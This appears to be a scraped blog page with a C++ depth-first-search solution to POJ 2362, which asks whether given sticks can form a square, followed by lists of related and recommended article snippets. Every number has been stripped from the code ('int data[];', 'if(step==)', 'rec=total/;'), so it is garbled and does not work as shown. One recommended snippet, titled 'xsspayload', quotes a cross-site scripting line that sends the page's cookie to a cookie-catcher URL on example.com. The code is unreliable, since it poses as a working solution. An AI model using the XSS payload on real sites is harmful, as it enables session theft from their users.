#include<iostream>
using namespace std; int data[];
int total;
int rec;
int n;
int vis[];
int flag;
int flag1; void dfs(int step,int sum,int k)
{
if(step==) //step为3时就可以退出了,因为前面三步都已经成功了,剩下的肯定能拼成
{
flag1=;
return;
}
for(int i=k;i<n;i++)
{
if(sum+data[i]>rec)
continue;
if(vis[i]==)
{
vis[i]=;
if(sum+data[i]<rec)
{
dfs(step,sum+data[i],i+);
if(flag1) //剪枝,上一个dfs回来后如果已经满足条件就不用向下进行了
return;
}
if(sum+data[i]==rec)
{
dfs(step+,,);
if(flag1) //剪枝,上一个dfs回来后如果已经满足条件就不用向下进行了
return;
}
vis[i]=;
}
}
return;
} int main()
{
int case_num;
//freopen("input.txt","r",stdin);
cin>>case_num;
for(int p=;p<=case_num;p++)
{
total=;
cin>>n;
for(int i=;i<n;i++)
{
cin>>data[i];
total=total+data[i];
}
if(total%)
{
cout<<"no"<<endl;
continue;
}
else
rec=total/;
flag=;
for(int i=;i<n;i++)
{
if(data[i]>rec)
{
flag=;
cout<<"no"<<endl;
}
break;
}
if(flag)
continue;
for(int i=;i<n;i++)
{
for(int j=;j<n--i;j++)
{
if(data[j]<data[j+])
{
int temp=data[j];
data[j]=data[j+];
data[j+]=temp;
}
}
}
for(int i=;i<n;i++)
vis[i]=;
flag1=;
dfs(,,);
if(flag1)
cout<<"yes"<<endl;
else
cout<<"no"<<endl;
}
return ;
}

poj2362的更多相关文章

  1. poj2362 Square(DFS)

    题目链接 http://poj.org/problem?id=2362 题意 输入n根棍子的长度,求这n根棍子是否能组成一个正方形. 思路 假设能组成正方形,则正方形的周长为sum,sum/4为正方形 ...

  2. dfs+剪枝:poj2362

    贴题目 Square Time Limit: 3000MS   Memory Limit: 65536K Total Submissions: 24604   Accepted: 8449 Descr ...

  3. TOJ1398正方形的编成 或者 POJ2362

    #include<stdio.h> #include<string.h> #include<iostream> #include<algorithm> ...

  4. POJ2362贪心

    题意:我们的化学生物学家发明了一种新的叫stripies非常神奇的生命.如果一个质量为m1和m2的stripies相撞,生成的stripies体重是2*sqrt(m1*m2) 现在,科学家们想知道,如 ...

  5. poj2362 Square

    Description Given a set of sticks of various lengths, is it possible to join them end-to-end to form ...

  6. poj练习题的方法

    poj1010--邮票问题 DFSpoj1011--Sticks dfs + 剪枝poj1020--拼蛋糕poj1054--The Troublesome Frogpoj1062--昂贵的聘礼poj1 ...

  7. poj 算法 分类

    转载请注明出处:優YoU http://blog.csdn.net/lyy289065406/article/details/6642573 最近AC题:2528   更新时间:2011.09.22  ...

  8. poj1011 搜索+剪枝

    DFS+剪枝 POJ2362的强化版,重点在于剪枝 令InitLen为所求的最短原始棒长,maxlen为给定的棒子堆中最长的棒子,sumlen为这堆棒子的长度之和,那么InitLen必定在范围[max ...

  9. POJ 水题(刷题)进阶

    转载请注明出处:優YoU http://blog.csdn.net/lyy289065406/article/details/6642573 部分解题报告添加新内容,除了原有的"大致题意&q ...

随机推荐

  1. 【easy】118.119.杨辉三角

    这题必会啊!!! 第一题118. class Solution { public: vector<vector<int>> generate(int numRows) { ve ...

  2. 【原创】大数据基础之HDFS(2)HDFS副本数量检查及复制逻辑

    HDFS会周期性的检查是否有文件缺少副本,并触发副本复制逻辑使之达到配置的副本数, <property> <name>dfs.replication</name> ...

  3. HTML5 图片下载

    1. 概述 1.1 说明 在项目过程中,有时候需要下载某一展示图片,html5中定义了<a> download属性,download属性规定被下载的超链接目标,该属性可以设置一个值来规定下 ...

  4. Spring Boot+CXF搭建WebService(转)

    概述 最近项目用到在Spring boot下搭建WebService服务,对Java语言下的WebService了解甚少,而今抽个时间查阅资料整理下Spring Boot结合CXF打架WebServi ...

  5. 【Android】onNewIntent调用时机

    在IntentActivity中重写下列方法:onCreate onStart onRestart onResume onPause onStop onDestroy onNewIntent一.其他应 ...

  6. 蓝桥杯 购物单(使用word协助)

    标题: 购物单 小明刚刚找到工作,老板人很好,只是老板夫人很爱购物.老板忙的时候经常让小明帮忙到商场代为购物.小明很厌烦,但又不好推辞. 这不,XX大促销又来了!老板夫人开出了长长的购物单,都是有打折 ...

  7. request.getParameter和request.setAttribute/request.getAttribute

    https://blog.csdn.net/ryelqy/article/details/79230513 request.getQueryString https://blog.csdn.net/w ...

  8. xsspayload

    元素on事件: prompt(document.cookie) document.location= "http://www.example.com/cookie_catcher.php?c ...

  9. 解决 gem 添加sources的时候提示 too many connection resets的问题

    今天在安装ruby.gem的时候,发现在添加淘宝源的时候提示出错信息:"too many connection resets-",后来发现淘宝镜像已经没有了,改成ruby chin ...

  10. Do-Now—团队冲刺博客四

    各个成员今日完成的任务 侯泽洋:完成奖励页面设计,完成奖励从云端拉取到本地:完成奖励从云端拉取到本地 周亚杰:冲刺博客,个人中心设计(未完成) 王志伟:积分页面设计:积分页面设计 仇夏:树苗成长过程设 ...